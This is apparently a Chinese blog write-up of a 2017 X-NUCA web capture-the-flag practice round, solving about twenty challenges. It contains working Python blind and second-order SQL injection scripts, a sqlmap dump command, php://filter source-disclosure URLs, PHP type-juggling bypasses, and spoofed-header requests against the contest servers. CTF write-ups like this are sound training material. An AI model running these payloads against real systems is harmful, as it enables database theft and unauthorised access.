BetaMao

x-nuca-2017-web专题赛前指导WP

字数统计: 4.7k阅读时长: 21 min
2017/08/19 Share

葛大佬感情受挫失联了,我这个小辣鸡只能重拾web,记录一下wp咯

捉迷藏

审查元素,发现网页背景为black,最下面有个<a>./Index.php</a>标签属性也是black,明显有问题,打开有个flag,一闪而逝,就是答案,本题坑点是学弟跳进去的,他把CSS属性改了:

于是出现了一个二维码,而且扫出来是flag形式的:

简单问答

一道老题(其他可能也是,只是这道以前做过),选项显示的值和实际的不一样,查看源码可以看到,改正确就好了:

后台后台后台

显示只有Admin组的成员才能登录,JohnTan101属于Normal,查看cookie有个Menber属性看长相像base64解码下是Normal,那么把它换成Admin的base64即可

PHP是最好的语言

打开直接给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>

分析源码,要使$v1 && $v2 && $v3为真即都为1,他们初始为0,就向上看让他们为1的语句执行。分析知接收三个参数:

  1. foo是一个json编码的字符串,里面要有bar1元素,它不能是数字并且要大于2016;有bar2元素,它有5个元素;有a2这个元素,它是一个数组并且它其中一个元素含’nudt’;满足这些条件$v1和$v2就为1了
  2. cat需要是一个数组,第一个元素不为0,并且使用strcmp做比较时第一个元素要等于dog但是他们要在严格的情况下不相等;strpos表示cat[0]与$d连接一定要有”htctf2016”子串;eregi需要他们不包含”3|1|c”,由于eregi是一个非二进制安全函数,所以可以使用\x00绕过

就是考察PHP弱类型与非二进制安全函数咯

Login

打开有三个页面可以点,随便点击info发现探针被执行了,点main发现和没点之前一样,看URL像是文件包含,各种尝试无果,又去登录页面看看爆破失败,又回去尝试文件包含,想到PHP伪协议:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//url:http://218.76.35.75:20115/?page=php://filter/read=convert.base64-encode/resource=main
//成功显示base64编码代码,解码为:
<html>
<head>
<title>trolol</title>
</head>
<body>
<center>
<a href="./?page=main">main</a>
<a href="./?page=info">server info</a>
<a href="./?page=login">login</a>
</center>
</body>
</html>

//emmmm。。。。。我怕是个傻子吧,查看login页面:

<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
$logfile = "./log/".$login.".log";
file_put_contents($logfile, $login."\n".$password);
}
?>
<center>
login<br/><br/>
<form action="" method="POST">
<input name="login" placeholder="login"><br/>
<input name="password" placeholder="password"><br/><br/>
<input type="submit" value="Go!">
</form>
</center>

通过阅读发现登录admin,密码被sha1哈希与一个值比较,正确得到flag,否则若是GET方式传递了debug则将错误的账号和密码保存到以账号命名的日志里面,其中路径是可控的,并且login.php与index.php同级,似乎就没有其他的啦,好吧,其实还有,在比较密码时用的是==可能存在弱类型绕过,当然若是直接点击链接进入的登录页面是没有问题的,但是若直接访问这个链接,那么$pwhash这个变量并没有被赋值,那么使用password[]即可绕过获取flag。
另外,很明显这个$pwhash是在index.php这个页面里面定义的,那么查看这个页面的源代码就可以看到啊,当然直接查看是不行的,不过使用./index就看到了:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";

if (@$_GET['log']) {
if(file_exists($_GET['log'].".log")){
include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){
include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}

?>

从上面分析,这道题的解法有很多,弱类型应该是最简单的了,当然还可以getshell..

http头注入

换个浏览器试试,又是头注入,以为注入点在user-agent,然后打开又写着:
Wecome our official sites:heetian.com/heetian.php

Waist long hair, teenager marry me these days.

emmmm,一个一个试,幸运的是一个单引号就解决了:

这里是insert语句,使用报错注入,这里直接用SQLmap跑出来:

1
root@kali:~# sqlmap -u "http://218.76.35.75:20121/heetian.php" --level=3 -p "referer" --technique=E -D ctfweb20110 -T flag --dump


当然也可以写脚本,这里写了一个基于时间的盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding:utf-8

import requests
import string

url = 'http://218.76.35.74:20121/heetian.php'
charSet = string.letters + string.digits + string.punctuation
headers = {"Referer": ""}

def baseTime(sql):
ans = ''
for i in range(1, 256 + 1):
ansbak = ans
for char in charSet:
## 这句存在问题
## headers["Referer"] = "'+if(substring((%s)from(%d)for(1))='%s',sleep(5),0)+'" % (sql, i, char)
headers["Referer"] = "'+if(ascii(substr((%s)from(%d)))=%d,sleep(5),0)+'" % (sql,i, ord(char))
try:
requests.get(url=url, headers=headers, timeout=4)
except requests.exceptions.ReadTimeout:
ans += char
break
if ans == ansbak:
break
return ans

if __name__=='__main__':
currentDBSQL = "select database()" #查询当前库
tablesSQL = "select group_concat(table_name) from information_schema.columns where table_schema=database()" #查询当前库存在的表
columnsSQL = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='%s'"%("flag") #("要查询的表"),查询指定表所有列
datasSQL = "select group_concat(%s) from %s"%("flag","flag") #("要查询的列","要查询的表"),查询数据
print "数据为:",baseTime(datasSQL)

简单的文件上传

经测试只接受jpg文件但是要求上传PHP文件,直接改Content-Type就好了

简单的JS

打开页面发现一个js:

打开这个URL即可,不过flag在set-cookie里面

php 是门松散的语言

打开就是伪代码提示

1
2
3
4
5
6
- - - - - - - source code - - - - - - - - - -
$he ='goodluck';
parse_str($_GET['heetian']);
if $he = 'abcd';
echo $flag;
he=?

直接heetian=he=abcd啦

试试xss

直接输入一个标准的xss poc查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>欢迎来到比赛</title>
</head>
<body>
<span >Hint:</span><span > alert document.domain.</span>
<form method = "post" name="form1" id = "form1" action="">

<input name="subject" type="text" value="" size="60"/>
<input type="submit" name="insert" id="insert" value="go">
<img src='<img src=4566 onerror=comform(/ddd/)> /></form>
</body>
</html>

发现他已经写了部分了,那么自己不写那一部分就好了。。。

简单文件包含

打开有四个链接,形式是index.php?page=1,在浏览器里面按提示包含/flag会显示flag 不在这里,而包含数字不会报错,否则会显示:P wrong page,试了下SQL注入发现失败,再次看/flag这个页面,查看源码,发现。。。再打开这个页面,看到。。。的确够简单的,就是不懂这种洞是在什么时候产生的

简单验证

熟悉前面套路,发现hint很重要,那么本题的是描述:你不是amdin,没有权限查看flag,再打开页面发现:

1
2
Set-Cookie: user=Bob; expires=Sat, 19-Aug-2017 11:10:55 GMT
Set-Cookie: guess=999; expires=Sat, 19-Aug-2017 11:10:55 GMT

那就爆破咯:

vote

描述:据说可以注入,然而……
这道题遇到坑了,vim源码泄露,直接wget http://218.76.35.74:65080/.index.php.swp 下载临时文件,使用vim -r .index.php.swp恢复,但是

这里被坑了很久,换了3个系统全部失败,直到半个月后。。。突然想到会不会是要x86平台,因为我平时全都是用的x64,于是又换x86,恢复成功:

可以看到vote和id这两个参数可控,但是后面会用is_numeric($_POST['id'])判断id是否为数字,会用(int)$_POST['vote']强制转换类型,这样看似乎就不能做什么了,但是再往下看它会有查询操作,前面插入后面插入很可能是二次注入,若是二次注入那么id就可以利用了,因为is_numeric()能用十六进制绕过,而查询会以字符串形式返回,于是就可以构造二次注入语句啦:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#encoding:utf-8
import requests
import binascii

url = 'http://218.76.35.74:65080/index.php'
def TwoIn(sql):
payload = '-1 union '+sql
payload = ('0x'+binascii.hexlify(payload))
print payload
data={'id':payload,'vote':1,'submit':'Submit'}
req=requests.post(url=url,data=data)
print req.content
if __name__=="__main__":
## 注意,这里有长度限制,为64字节
tablesSQL = "select group_concat(table_name) from information_schema.columns where table_schema=database()" # 查询当前库存在的表
columnsSQL = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='%s'" % ("flag") # ("要查询的表"),查询指定表所有列
datasSQL = "select group_concat(%s) from %s" % ("flag", "flag") # ("要查询的列","要查询的表"),查询数据
datasSQL = "select %s from %s" % ("flag", "t_flag") ##这里就只能不断猜表明猜列名咯

TwoIn(datasSQL)

GG

又是一道老题,打开是一个俄罗斯方块游戏,先玩几把看看有些什么功能,然后查看源码,发现就一个js打开在线格式化后分析,是混淆过的,至少函数名字处理过了,代码很长没有具体分析,大致看了下每个函数实现功能与函数大致流程,还好作者没那么丧心病狂把所有的名字都混淆了,直到看到一句比较敏感的:

1
2
3
4
5
6
7
this.mayAdd = function (a) {
if (this.scores.length < this.maxscores) return 1E6 < a && (a = new p, a.set("urlkey", "webqwer" [1] + "100.js", 864E5)), !0;
for (var b = this.scores.length - 1; 0 <= b; --b)
if (this.scores[b].score < a) return 1E6 < a && (a = new p, a.set("urlkey",
"webqwer" [1] + "100.js", 864E5)), !0;
return !1
};

urlkey为e100.js那么试试,发现是js编码,运行出结果:

Reappear

描述:网管说他安装了什么编辑器,但是似乎不太会用。。。并且打开页面显示:
Kindeditor v4.1.7
something maybe in /kindeditor/
百度了一下它存在路径泄露漏洞,访问弱点页面:

发现在"\/kindeditor\/php\/..\/attached\/"存在敏感文件flag_clue.php,打开页面,发现一个疑似逆序的base64串-=0nYvpEdhVmcnFUZu9GRlZXd7pzZhxmZ解码就好了

DrinkCoffee

  1. 描述:据说登录可以领到咖啡票,不过不知道密码哦……
  2. Hint: Find the password to submit, but you should come from http://www.iie.ac.cn and your IP must be 10.10.20.1

第二条意思是改refererx-forwarded-for,再抓包发现返回头有个Password: d2626f412da748e711ca4f4ae9428664解md5为cafe,那么按要求发送就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 218.76.35.75:65280
Proxy-Connection: keep-alive
Content-Length: 13
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://www.iie.ac.cn
X-Forwarded-For: 10.10.20.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8

password=cafe

最安全的笔记管理系统

看长相像xss,SQL注入,经测试XSS似乎使用了XSS终结者过滤函数,要是注入的话很大可能是二次注入了,另外仔细查看URL发现始终在一个页面跳,先尝试文件包含,要是有源码会简单很多,很幸运有源码http://218.76.35.74:20128/index.php?action=php://filter/read=convert.base64-encode/resource=front&mode=index
登陆后首页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//    front/index.php
<?php

defined("DIR_PERMITION") or die("Permision denied!");

$userid=check_login();
//目测检查了set_login,可能用的是id可能用的level。。。可能uname。。。
if(!$userid){

echo "<script>alert('not login!');</script>";
echo("<script>location.href='./index.php?action=front&mode=login'</script>");
die();
}else{
//一般用户只能看到自己的文章,userid为1的可以看到所有
$sql="select * from note where userid='$userid' or userid='1'";
$result=mysql_my_query($sql);
}

?>
<?php echo explode("|",$_COOKIE['uid'])[0];?>
<?php echo $userid;?>

<?php
while($row=$result->fetch_assoc()){
echo "<tr>";
echo "<td>".$row['title']."</td>";
echo "<td>".$row['content']."</td>";
echo "<td><a href=./index.php?action=front&mode=delete&id=".$row['id']."&TOKEN=".$_SESSION['CSRF_TOKEN'].">delete</a></td>";
echo "</tr>";
}

?>

登录页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

defined("DIR_PERMITION") or die("Permision denied!");

if(isset($_POST['uname'])&&isset($_POST['password'])&&isset($_POST['TOKEN'])){

$uname=$_POST['uname'];
$password=md5($_POST['password']);
$TOKEN=$_POST['TOKEN'];

if($TOKEN!=$_SESSION['CSRF_TOKEN']){
die("token error!");
}
//至少本页没有检测,可以控制level值。。。emm,也可能能够控制其他所有值
$sql="select id,level from user where uname='$uname' and password='$password' and level='0'";

$res=mysql_my_query($sql);
$row=$res->fetch_assoc(); //获取第一条记录

if($row['id']){
echo $row['level'];//这里会输出东西,可能可以利用,第二列
set_login($uname,$row['id'],$row['level']);
header("Location: ./index.php?action=front&mode=index");
exit();
}else{
echo("<script>alert('username or password error!')</script>");
}
}

?>

注册页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
defined("DIR_PERMITION") or die("Permision denied!");

if(isset($_POST['uname'])&&isset($_POST['password'])&&isset($_POST['TOKEN'])){

$uname=$_POST['uname'];
$password=md5($_POST['password']);
$TOKEN=$_POST['TOKEN'];

if($TOKEN!=$_SESSION['CSRF_TOKEN']){
die("token error!");
}
$sql="select count(*) count from user where uname='$uname'";

$res=mysql_my_query($sql);
$row=$res->fetch_assoc(); //获取第一条记录

if($row['count']){

echo("<script>alert('username repeats!')</script>");

}else{
//至少在本页上没有看到过滤,可以注入,例如改变level的值
$sql="insert into `user`(uname,password,level) values ('$uname','$password',0)";
$res=mysql_my_query($sql);
if($res){
header("Location: ./index.php?action=front&mode=login");
exit();

}else{

echo("<script>alert('register failed!')</script>");
}

}

}

?>

新建笔记页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

defined("DIR_PERMITION") or die("Permision denied!");

$userid=check_login();

if(!$userid){
echo "<script>alert('not login!');</script>";
echo("<script>location.href='./index.php?action=front&mode=login'</script>");

die();

}elseif(isset($_POST['title'])&&isset($_POST['content'])&&isset($_POST['TOKEN'])){

$title=htmlspecialchars(trim($_POST['title']));
$content=htmlspecialchars(trim($_POST['content']));
$TOKEN=$_POST['TOKEN'];

if($TOKEN!=$_SESSION['CSRF_TOKEN']){
die("token error!");
}

$sql="insert into `note` (title,content,userid) values ('$title','$content',$userid)";

if(!empty($title)&&!empty($content)){

$res=mysql_my_query($sql);

if($res){

echo("<script>alert('create success!')</script>");
echo("<script>location.href='./index.php?action=front&mode=index'</script>");
}else{

echo("<script>alert('create failed!')</script>");
}

}
}

?>

综上,要是没有SQL检测,那么利用的方法就可以有很多了,but真的有过滤,没有在代码中出现应该是使用了PHP的magic_quotes_gpc之类的,若是猜测正确的话,可以尝试二次注入,另外初始的那条乱码可以猜测字符编码,就是宽字符截断(然而这里是utf8):

document

打开显示:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<!-- include.php -->
</body>
</html>

包含?先打开这个页面:

1
2
3
4
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>

打开upload.php尝试上传多种文件报错,回到主页,说的参数是file,那么尝试?file=upload.php失败,emmmm,失败是正常的,一般都不会让指定完整文件名而是只指定文件名而不带后缀,于是?file=upload包含成功,再次使用伪协议查看upload的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>

emmmm,还有include的也看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>

应该就是要获取webshell了,先绕过文件包含过滤,试了几个常用的绕过失败,百度了l3m0n的方法成功绕过:

你以为这样就完了吗?还要找flag,而且在图形化界面翻不出来,要用命令查找:

阳关总在风雨后

看长相像SQL注入,试了下先判断用户名,讲道理不可能写死判断是否是admin,而是查数据库看用户是否存在,那么这里可能就是一个注入点了,再讲道理密码都会哈希处理一般不会是注入点,所以要是有注入就只能在这里了,另外,这里是判断用户是否存在那么只有盲注了,继续测试发现它会显示字符被过滤alert('illegal character!!@_@');,这个比较明显就可以先测试过滤了那些字符,经测试含,,|,&,and,or,union,like,*, (所有空白符)等,于是先想办法构造布尔语句,本来构造方法很多,但是要绕空格就pass很多了,这里使用普通运算就可以了:

1
2
3
4
5
admin'-1-'-1	#不能用+,被过滤了
admin'/'1 #不能用*,被过滤了
admin'^1^'1
admin'%1%'1
..........

好啦,现在有布尔语句了,往里面填值就好了:
构造的语句不能有空格,逗号,ORD(含or),于是:

1
admin'-(ascii(substr(database()from(2)))>110)-'-1

首先直接用exists(select(uname)from(admin))验证,猜出了表名和列名:
admin:uname:passwd可以少写点脚本,先把这个跑出来,不能做了再去跑所有的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
##老夫编程就是一把梭,什么二分查找,多线程 tan90°,能出结果就好了
import requests
url = "http://218.76.35.74:20130/login.php"

unameq = "admin'-(ascii(substr((select(group_concat(passwd))from(admin))from("
password = ''
for i in range(1,50):
for j in range(1,128):
uname = unameq+str(i)+")))="+str(j)+")-'-1"
data = {'uname':uname,'passwd':'123'}
r = requests.post(url=url, data=data)
if 'password' in r.text:
password+=chr(j)
print(password)
break
if j==127:
print("完成!")
exit(0)

跑出结果是50f87a3a3ad48e26a5d9058418fb78b5 cmd5 查出是shuangshuang登录进去:

emmmm,一个命令执行,继续试,这次他过滤但不提示了,当然也可以发现,空格被过滤啦

很明显,没有输出完,于是用head构造命令,找到flag

default

描述:主页都没有了,就不要扫我了
嗯,分析一下这个题,default表示默认,提示是主页没有了,不要扫我是嘴上说着不要还是真的不要?鬼知道,反正各种测试无果,结果是index2.php…..打开后显示源码:

1
2
3
4
5
6
7
8
<?php  

include "flag2.php";
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");

直接显示源码show_source('flag2.php')

CATALOG
  1. 1. 捉迷藏
  2. 2. 简单问答
  3. 3. 后台后台后台
  4. 4. PHP是最好的语言
  5. 5. Login
  6. 6. http头注入
  7. 7. 简单的文件上传
  8. 8. 简单的JS
  9. 9. php 是门松散的语言
  10. 10. 试试xss
  11. 11. 简单文件包含
  12. 12. 简单验证
  13. 13. vote
  14. 14. GG
  15. 15. Reappear
  16. 16. DrinkCoffee
  17. 17. 最安全的笔记管理系统
  18. 18. document
  19. 19. 阳关总在风雨后
  20. 20. default